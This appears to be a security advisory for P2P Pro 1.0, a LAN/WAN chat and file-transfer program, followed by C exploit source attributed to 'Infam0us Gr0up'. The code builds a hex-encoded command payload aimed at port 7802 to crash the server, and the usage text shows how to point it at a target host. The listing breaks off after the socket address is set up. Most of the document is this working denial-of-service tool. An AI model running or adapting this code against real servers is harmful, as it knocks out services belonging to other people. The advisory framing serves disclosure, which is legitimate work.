Summary
P2P Pro is "freeware/opensource who need have own chat system to talk on private LAN or WAN. It allows two users to chat and send files (of any size). This is a stand-alone application, meaning there are not two programs (client and server).The client and server are both built in to the same application". By sending a special command to P2P Pro server it possible for a remote attacker to cause it to crash.

Credit:
The information has been provided by eric basher.

Details
Vulnerable Systems:
* P2P Pro version 1.0

Exploit:
/*
P2P Pro Command DOS Exploit
------------------------------------
Infam0us Gr0up - Securiti Research

Info: infamous.2hell.com
Vendor URL: http://www.digital-revolution.org/P2PPro.html

*/

#include <string.h>
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char doscore[] =
"\x3f\x3f\xbc\x59\x70 "
"\x32\x70\x3f\xe1 "
"\x2b\x5c\x3f\xa6\xeb\xa6"
"\x50\x46\x2b\x5c\x3f\xa6\xeb\xa6"
"\x50\x4f\x57\x4e\x45\x44\x2e\x74"
"\x78\x74\x2b\x5c\x3f\xa6\xeb\xa6"
"\x50\x31\x32\x33\x32\x34\x32\x2e\x6b\x62";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;

if (argc < 2)
{
printf(" P2P Pro Command DOS Exploit \n", argv[0]);
printf(" --------------------------------------\n", argv[0]);
printf(" Infam0us Gr0up - Securiti Research\n\n", argv[0]);
printf("[-]Usage: %s [target] [port]\n", argv[0]);
printf("[?]Exam: %s localhost 7802\n", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 7802;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR \n");
exit(1);
}
printf(" P2P Pro Command DOS Exploit \n", argv[0]);
printf(" --------------------------------------\r\n\n", argv[0]);
printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);